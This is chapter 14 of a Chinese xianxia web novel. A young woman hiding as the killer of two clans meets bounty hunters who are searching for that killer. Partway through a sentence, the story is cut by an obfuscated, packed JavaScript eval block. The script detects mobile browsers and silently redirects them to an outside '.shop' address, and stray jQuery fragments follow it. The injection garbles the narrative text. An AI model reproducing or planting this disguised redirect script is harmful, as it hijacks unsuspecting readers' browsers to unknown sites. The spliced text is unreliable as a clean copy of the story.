14. 第十四章
作品:《修真少女堕入魔道后》 天霄城主街上,男人身形高挑,女子娇俏瘦弱,二人并肩而行。
她六年里鲜少离开魔域,可即便如此她还是对与从前相似的环境感到亲切。
天霄城虽属修真地域,实际上居住的修者与无灵脉在身的凡人并没什么分别,依旧保持着同样的风俗、吃食习惯,与沈春微六年前在朔京没有太大区别。
她不太明白划分界限的先祖们是怎么想的,为何一样是人,生活习性也不尽相同,却非要划界,难道身无灵脉者生来就比有灵脉者低贱?
还是身负灵脉者的先祖清高倨傲了?
她早就听闻修真界六年前横空出世了四名深受灵气眷顾的修者,其中一位就是南部驻守朔京的燕家小儿,燕修安。
剩下三位中,两位是修炼了几十年的修者,都是修炼多年,近几年破境才备受瞩目,最后一位,就是圣剑宗掌门座下最年幼的一名弟子。
传闻出生时就没有灵骨,只是个凡人,但他家境殷实人脉广,还是拜在了掌门座下,就在六年前他忽然生出灵骨,在剑会大比中险些夺下了魁首,不过最后还是败在了他的师兄,掌门之子莘子平的剑下。
沈春微不觉得一个身无灵骨的人会自己突然长出灵骨,也不会相信,一个资质平平者,就在沈家灭门不久后,修为突飞猛进。
六年前,在她逃亡的那段时间,就曾听说过燕修安修为精进,被冠上修炼奇才的名头。
他们之间与沈家灭门真相定脱不了干系。
“燕少侠来了!”
“燕少侠今年也来参加剑会大比了!这下可有看头了!”
沈春微他们住的客栈在天霄城的主街上,这条街最热闹,也是人最多的。隔着老远就看见人群往前簇拥着什么人,正朝这边走来。
少年英姿,手中握剑。高马尾束起甩在身后,明黄色的法袍穿在身上衬得人愈发利落干净。
身旁还跟着数名女子,拥着他喊道:“燕少侠,今日可愿来我住处指点两招啊~”
“不了不了,”燕修安摆摆手,保持不失礼貌的微笑,“我还得赶去圣剑宗为过几日的剑会比试做准备。”
“安哥哥。”一道柔声的呼唤在沈春微身后响起,这是她在熟悉不过的声音。
燕修安远远望见那道娇弱的身影,眼睛一亮,挣脱簇拥着他的人群,朝那道身影喊道:“阿芷。”
他一跑,围着的女修们一蜂窝的散开,走在人群后面的几位明黄法袍弟子的身影也终于出现。
“你别说,几年过去,师弟还是这么受欢迎啊。”
“是啊,你说怎么就没有女修喜欢我这样英俊潇洒,风流倜傥的。”
听他自恋的发言,同行的师兄不客气的笑损道:“喜欢你什么,喜欢你浑身上下散发着的穷酸味。”
被抛下的女修们三三两两凑到一起,盯着自己心上的男人大步走向那名素来看不惯的柔弱医修。
“切,真不知道燕少侠喜欢那个医修什么。”
“就是啊,无非就是仗着是燕少侠未婚妻的身份,才敢回回跟来,不然就凭她一个小小的医修,有何颜面死赖在圣剑宗不走。”
“真是不知羞。”
背后的议论声燕修安浑然不知,他只顾着走向林秋芷。恰好同人擦肩而过的一瞬,余光瞥见了她的侧脸,一股莫名的感觉涌上心头。
扭头看去,正好见到女子到了客栈门前,提裙朝客栈内走去,一名男子紧跟其后。
燕修安视线紧随那抹倩影,心中莫名起了猜想,不等他跟上去验证这个荒谬的猜想,林秋芷面色焦急的扑了上来。
她拉着他的手臂,急声问道:“燕哥哥,你回去看了以后怎么样了,燕伯父他们和我父亲都还好吗?”
见她满眼都是忧色,面上是脂粉难以掩盖的憔悴,知晓她定是这几日都没休息好了。
一回想到他赶回去看见的惨烈现场,原先故作坚强的外表此刻也有些维持不住。
他忍着悲痛道:“这处人多眼杂,走,回去与你细说。”
另一边沈春微和贺兰蘅刚走进客栈,就听见边上的呼唤声,“贺姑娘,这里!”
沈春微循声望去,客栈堂内的一方桌前坐着昨日早晨遇见的三人。
乌妙音见了她,绽放出一抹友善的笑容,“贺姑娘。”
公良子轩依旧背着那把大刀,朝他们颔首。
沈春微点头示意回应三人,喊人的钟旭收敛声量,热情邀请道:“贺姑娘好巧,又碰到了,来坐会一起喝盏茶吗?”
沈春微无声询问身侧之人的意见,见他没意见,才上前。
贺兰蘅在她身侧坐下,她简单向三人介绍了贺兰蘅,三人也简单自我介绍一番,几人也算互相认识了。
钟旭给二人各倒了一杯茶,放下茶壶,兴奋分享他们刚得到的消息:“贺姑娘,你可知前几日界外驻守在南部皇室都城的燕、林两家被灭门的事情?”
“有所耳闻,钟少侠想说什么?”
“燕家可还有人没死全呢,不知贺姑娘有没有听过,叫做燕修安,他出了一万两灵石,悬赏凶手!”
说着,他从怀中掏出一张画像,画上寥寥几笔,一时间竟难以分辨这是男是女,唯有额间那粒用朱砂点的痣是唯一显眼特征。
“喏,昨日我们找了几位从朔京逃回来的修者,这事根据他们的描述,画的凶手画像,若是找到,这一万两灵石我们只要三成,如何,够意思吧?”
多一个人就多一份力,何况他们二人的修为,他们三人都看不透,想来在他们之上。
凭他们三个,想要抓一夜之间灭了两个千年世家满门的凶手可不是件容易事,反正没人会嫌钱多,钟旭三人都是这样想的。
钟旭笑吟吟的看向沈春微二人,等待他们的答复。
沈春微突然笑出声,让钟旭有些摸不着头脑,“贺姑娘,你笑什么?”
“没什么,要加入你们也行,只不过就凭这张画像,天地广阔,钟少侠打算去哪找这凶手?”
“放心,不用我们跑来跑去。”钟旭自信满
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156915|196082||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满大拍着胸膛,“这个我们早想过了,凶手既然灭了燕家、林家满门,说明凶手是对这两家人憎恨入骨。”
“那么,我们只需要守株待兔即可。”他神秘兮兮的朝沈春微使了个眼色。
乌妙音见他这副鬼头鬼脑的样子,无奈扶额,解释道:“燕家只剩燕修安一条血脉,林家也只有他的未婚妻林秋芷一直以来陪他待在修真界。”
“凶手没将这两条血脉彻底斩草除根,肯定不会善罢甘休。”
“所以我们只需要守着他们二人,等着凶手再次出手即可。”公良子轩将剩下的话点明。
沈春微若有所思的点点头,注意力全在悬赏金上。
当年两家家产万贯时,能拿出三万两抓她不奇怪,可现如今家道中落,还能拿出一万两,更别说还是螟陸将两家搜刮干净之后,这背后没有靠山,谁信?
沈家被灭门一事,果然是蓄谋已久,背后定有修真界的人推波助澜,想到这沈春微的眼底划过一抹狠厉,转瞬即逝。
贺兰蘅一向没有跟他人交谈的习惯,也难得出声:“若是那人一直不出手,你们就一直围着那两人转?”
这一问,可将三人问住了,公良子轩也意识到他们的想法虽好,可仍有漏洞。
于是虚心请教,“这位道友可有什么高见?”
他淡声道,“想要抓人,那必定得抛出点什么引子,目前为止还掌握了有关真凶的什么线索?”
言外之意是,别告诉我,你们只有一张连是男是女都辨不出的四不像画像。
公良子轩:“这……我们也仅仅从逃回来的修者那得到有关真凶容貌的零碎线索……”
沈春微欲言又止:“这画像……恕我直言,你能分辨凶手是男是女吗?”
乌妙音将探听到的线索说出,“是个女人,据说看上去跟我们差不多,实际年龄的话,说不好,明显特征是额间有一粒红痣。”
毕竟现在修道的大多数人都以自己喜欢的样貌示人,有的百岁老人的看上去与寻常幼童无异。
“那人评价,乍一眼看上去面若观音,实际上手段毒辣似地狱阎罗,再多的……就没了。”
沈春微嘴角微抽,“这形容的是否太过抽象了些?”
“说到这个我就来气,线索提供的如此敷衍变罢了,那几人还格外贪财,我们可将接下来的盘缠给出去一半了。”钟旭愤愤道。
他恹恹的拿起桌上不要钱的茶壶又给自己添了一杯茶,气愤的一饮而尽。
钟旭:“一想到那么多盘缠给出去,我就肉疼得睡不着觉。”
乌妙音安慰道:“别太沮丧,等抓到凶手,那三成的灵石可够我们此行一路的盘缠了。”
公良子轩将话拉回正题,“那道友的意思是……再去找一趟那人?”
贺兰蘅指了指沈春微腰间的钱袋子,“钱,管够。”
闻言,沈春微也转头对上他的视线,挑了挑眉,在脑海中与他对话。
【几个意思,明知道那夜杀人的是我。】

